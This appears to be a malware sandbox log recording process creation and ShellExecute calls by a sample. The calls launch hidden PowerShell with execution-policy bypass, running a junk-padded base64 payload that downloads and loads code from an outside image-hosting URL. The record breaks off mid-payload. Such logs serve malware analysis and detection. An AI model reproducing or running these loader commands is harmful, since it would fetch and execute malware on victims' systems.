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zcLOqmBpQfxHzcLOqmGQQfxHzcLOqmZgBkQfxHzcLOqmGYQfxHzcLOqmZQfxHzcLOqmBaQfxHzcLOqmGwQfxHzcLOqmaQQfxHzcLOqmgQfxHzcLOqmCwQfxHzcLOqmIQfxHzcLOqmBaQfxHzcLOqmGwQfxHzcLOqmaQBkQfxHzcLOqmGYQfxHzcLOqmZQfxHzcLOqmBmQfxHzcLOqmFoQfxHzcLOqmbQfxHzcLOqmBpQfxHzcLOqmCQfxHzcLOqmQfxHzcLOqmLQfxHzcLOqmQfxHzcLOqmgQfxHzcLOqmFoQfxHzcLOqmbQfxHzcLOqmBpQfxHzcLOqmGQQfxHzcLOqmZgBkQfxHzcLOqmGYQfxHzcLOqmWgBsQfxHzcLOqmGkQfxHzcLOqmIQfxHzcLOqmQfxHzcLOqmnQfxHzcLOqmCsQfxHzcLOqmJwQfxHzcLOqmsQfxHzcLOqmCQfxHzcLOqmQfxHzcLOqmWgBsQfxHzcLOqmGkQfxHzcLOqmZQfxHzcLOqmBhQfxHzcLOqmGQQfxHzcLOqmcwBhQfxHzcLOqmFoQfxHzcLOqmbQfxHzcLOqmBpQfxHzcLOqmCQfxHzcLOqmQfxHzcLOqmLQfxHzcLOqmQfxHzcLOqmgQfxHzcLOqmFoQfxHzcLOqmbQfxHzcLOqmBpQfxHzcLOqmGQQfxHzcLOqmZQBaQfxHzcLOqmGwQfxHzcLOqmaQQfxHzcLOqmgQfxHzcLOqmCwQfxHzcLOqmIQfxHzcLOqmBaQfxHzcLOqmGwQfxHzcLOqmaQBjQfxHzcLOqmHUQfxHzcLOqmWgBsQfxHzcLOqmGkQfxHzcLOqmKQQfxHzcLOqmpQfxHzcLOqmCcQfxHzcLOqmKQQfxHzcLOqmuQfxHzcLOqmHIQfxHzcLOqmRQBwQfxHzcLOqmGwQfxHzcLOqmQQBjQfxHzcLOqmGUQfxHzcLOqmKQfxHzcLOqmQfxHzcLOqmoQfxHzcLOqmFsQfxHzcLOqmQwBoQfxHzcLOqmGEQfxHzcLOqmcgBdQfxHzcLOqmDcQfxHzcLOqmNQQfxHzcLOqmrQfxHzcLOqmFsQfxHzcLOqmQwBoQfxHzcLOqmGEQfxHzcLOqmcgBdQfxHzcLOqmDgQfxHzcLOqmMQQfxHzcLOqmrQfxHzcLOqmFsQfxHzcLOqmQwBoQfxHzcLOqmGEQfxHzcLOqmcgBdQfxHzcLOqmDEQfxHzcLOqmMQfxHzcLOqmQfxHzcLOqm3QfxHzcLOqmCkQfxHzcLOqmLQfxHzcLOqmQfxHzcLOqmnQfxHzcLOqmCQQfxHzcLOqmJwQfxHzcLOqmpQfxHzcLOqmC4QfxHzcLOqmcgBFQfxHzcLOqmHQfxHzcLOqmQfxHzcLOqmbQfxHzcLOqmBBQfxHzcLOqmGMQfxHzcLOqmZQQfxHzcLOqmoQfxHzcLOqmCcQfxHzcLOqmWgBsQfxHzcLOqmGkQfxHzcLOqmJwQfxHzcLOqmsQfxHzcLOqmFsQfxHzcLOqmcwB0QfxHzcLOqmHIQfxHzcLOqmaQBuQfxHzcLOqmEcQfxHzcLOqmXQBbQfxHzcLOqmEMQfxHzcLOqmaQfxHzcLOqmBhQfxHzcLOqmHIQfxHzcLOqmXQQfxHzcLOqmzQfxHzcLOqmDkQfxHzcLOqmKQQfxHzcLOqmgQfxHzcLOqmHwQfxHzcLOqmLgQfxHzcLOqmgQfxHzcLOqmCgQfxHzcLOqmKQfxHzcLOqmBWQfxHzcLOqmGEQfxHzcLOqmcgBpQfxHzcLOqmEEQfxHzcLOqmYgBsQfxHzcLOqmGUQfxHzcLOqmIQfxHzcLOqmQfxHzcLOqmnQfxHzcLOqmCoQfxHzcLOqmbQBEQfxHzcLOqmHIQfxHzcLOqmKgQfxHzcLOqmnQfxHzcLOqmCkQfxHzcLOqmLgBOQfxHzcLOqmEEQfxHzcLOqmbQBFQfxHzcLOqmFsQfxHzcLOqmMwQfxHzcLOqmsQfxHzcLOqmDEQfxHzcLOqmMQQfxHzcLOqmsQfxHzcLOqmDIQfxHzcLOqmXQQfxHzcLOqmtQfxHzcLOqmGoQfxHzcLOqmTwBpQfxHzcLOqmE4QfxHzcLOqmJwQfxHzcLOqmnQfxHzcLOqmCkQfxHzcLOqm';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('QfxHzcLOqm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000574
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = '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